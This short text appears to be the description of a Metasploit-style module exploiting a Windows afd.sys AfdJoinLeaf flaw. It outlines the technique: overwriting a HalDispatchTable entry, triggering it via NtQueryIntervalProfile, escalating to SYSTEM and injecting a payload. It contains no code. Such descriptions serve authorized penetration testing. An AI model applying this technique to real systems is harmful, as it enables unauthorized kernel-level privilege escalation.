This module exploits a flaw in the AfdJoinLeaf function of the afd.
sys driver to overwrite data in kernel space.
An address within the HalDispatchTable is overwritten
and when triggered with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload into another
SYSTEM process before restoring it's own token to avoid causing system instability.
